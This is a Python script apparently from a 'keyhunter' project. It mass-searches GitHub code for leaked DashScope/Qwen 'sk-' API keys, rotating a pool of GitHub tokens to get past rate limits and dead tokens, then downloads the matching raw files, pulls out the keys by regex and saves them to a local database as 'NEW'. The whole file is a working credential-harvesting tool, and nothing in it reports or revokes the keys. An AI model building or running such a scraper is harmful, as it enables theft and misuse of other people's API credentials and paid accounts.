keyhunter-parser/gh_dashscope_blitz.py

"""GitHub DashScope key blitz — targeted search with rotating tokens.
SAVES INCREMENTALLY — no data loss on timeout."""
import requests, re, sqlite3, hashlib, time, random, sys, os
from concurrent.futures import ThreadPoolExecutor, as_completed

DB = r'C:\Users\User\Desktop\keyhunter\data\keys.db'
TOKENS_FILE = r'C:\Users\User\Desktop\keyhunter\gh_tokens.txt'

# Open DB connection early for incremental saves
db_conn = sqlite3.connect(DB, check_same_thread=False)
db_conn.execute('PRAGMA journal_mode=WAL')
db_lock = __import__('threading').Lock()

def save_key(key_val, repo_name='?'):
    """Insert key immediately — survives timeout."""
    h = hashlib.sha256(key_val.encode()).hexdigest()
    now = '2026-10-19T19:30:00'
    with db_lock:
        try:
            cur = db_conn.execute(
                'INSERT OR IGNORE INTO keys (val, hash, prov, status, repo, found, first_seen, last_seen) VALUES (?,?,?,?,?,?,?,?)',
                (key_val, h, 'gh_blitz', 'NEW', repo_name, 1, now, now)
            )
            db_conn.commit()
            return cur.rowcount > 0
        except:
            return False

# Load tokens
with open(TOKENS_FILE) as f:
    tokens = [t.strip() for t in f if t.strip() and not t.startswith('#') and len(t) > 20]
random.shuffle(tokens)
print(f'Loaded {len(tokens)} tokens')

PATTERN = re.compile(r'sk-[0-9a-f]{32}', re.IGNORECASE)
seen_urls = set()
token_idx = 0
token_lock = __import__('threading').Lock()
url_lock = __import__('threading').Lock()
total_saved = 0
counter_lock = __import__('threading').Lock()

def next_token():
    global token_idx
    with token_lock:
        t = tokens[token_idx % len(tokens)]
        token_idx += 1
        return t

def search_query(q, max_pages=5):
    """Search one GitHub query, return list of keys."""
    global total_saved
    local_keys = []
    for page in range(1, max_pages + 1):
        for retry in range(3):
            token = next_token()
            try:
                url = f'https://api.github.com/search/code?q={q}&per_page=100&page={page}&sort=indexed&order=desc'
                headers = {
                    'Authorization': f'token {token}',
                    'Accept': 'application/vnd.github.v3+json',
                    'User-Agent': 'keyhunter/1.0',
                }
                resp = requests.get(url, headers=headers, timeout=15)
                
                if resp.status_code == 403:
                    text = resp.text.lower()
                    if 'rate limit' in text:
                        time.sleep(3)
                        continue
                    if '403' in text:
                        print(f'  [{q[:30]}] p{page}: TOKEN DEAD, rotate')
                        continue
                    break
                if resp.status_code == 422:
                    return local_keys
                if resp.status_code == 200:
                    break
                if resp.status_code == 401:
                    continue
                print(f'  [{q[:30]}] p{page}: HTTP {resp.status_code}')
                break
            except Exception as e:
                print(f'  [{q[:20]}] p{page}: err {str(e)[:50]}')
                time.sleep(1)
                continue
        else:
            break
        
        items = resp.json().get('items', [])
        if not items:
            break
        
        new_in_page = 0
        for item in items:
            html_url = item.get('html_url', '')
            with url_lock:
                if html_url in seen_urls or not html_url:
                    continue
                seen_urls.add(html_url)
            
            raw_url = html_url.replace('github.com', 'raw.githubusercontent.com').replace('/blob/', '/')
            try:
                r = requests.get(raw_url, timeout=8, allow_redirects=True)
                if r.status_code == 200:
                    found = PATTERN.findall(r.text[:12000])
                    for k in found:
                        repo = item.get('repository', {}).get('full_name', '?')
                        if save_key(k, repo):
                            local_keys.append(k)
                            new_in_page += 1
                            with counter_lock:
                                total_saved += 1
                            print(f'  #{total_saved} {k} <- {repo}')
                time.sleep(0.05)
            except:
                pass
        
        if new_in_page: 
            print(f'  [{q[:30]}] p{page}: +{new_in_page} keys')
        time.sleep(0.8)
    
    return local_keys

# Targeted queries — direct sk- + dashscope combos
QUERIES = [
    ('sk- dashscope qwen', 3),
    ('sk- dashscope extension:json', 3),
    ('sk- dashscope extension:properties', 3),
    ('sk- dashscope extension:toml', 3),
    ('sk- dashscope extension:ts', 3),
    ('sk- dashscope extension:env', 3),
    ('sk- dashscope extension:yml', 3),
    ('sk- dashscope filename:.env.example', 3),
    ('sk- dashscope extension:yaml', 3),
    ('sk- dashscope extension:cfg', 3),
    ('sk- dashscope filename:config', 3),
]

print(f'Searching {len(QUERIES)} queries...')
total_queries = 0
total_keys = 0
with ThreadPoolExecutor(max_workers=4) as ex:
    futures = {ex.submit(search_query, q, p): q for q, p in QUERIES}
    for f in as_completed(futures):
        q = futures[f]
        try:
            keys = f.result()
            total_queries += 1
            total_keys += len(keys)
            print(f'  [{q[:40]}] DONE: +{len(keys)}')
        except Exception as e:
            print(f'  [{q[:40]}] FAIL: {e}')

db_conn.close()
print(f'\n=== Blitz complete: {total_saved} keys saved to DB ===')
print(f'Total queries run: {total_queries}/{len(QUERIES)}')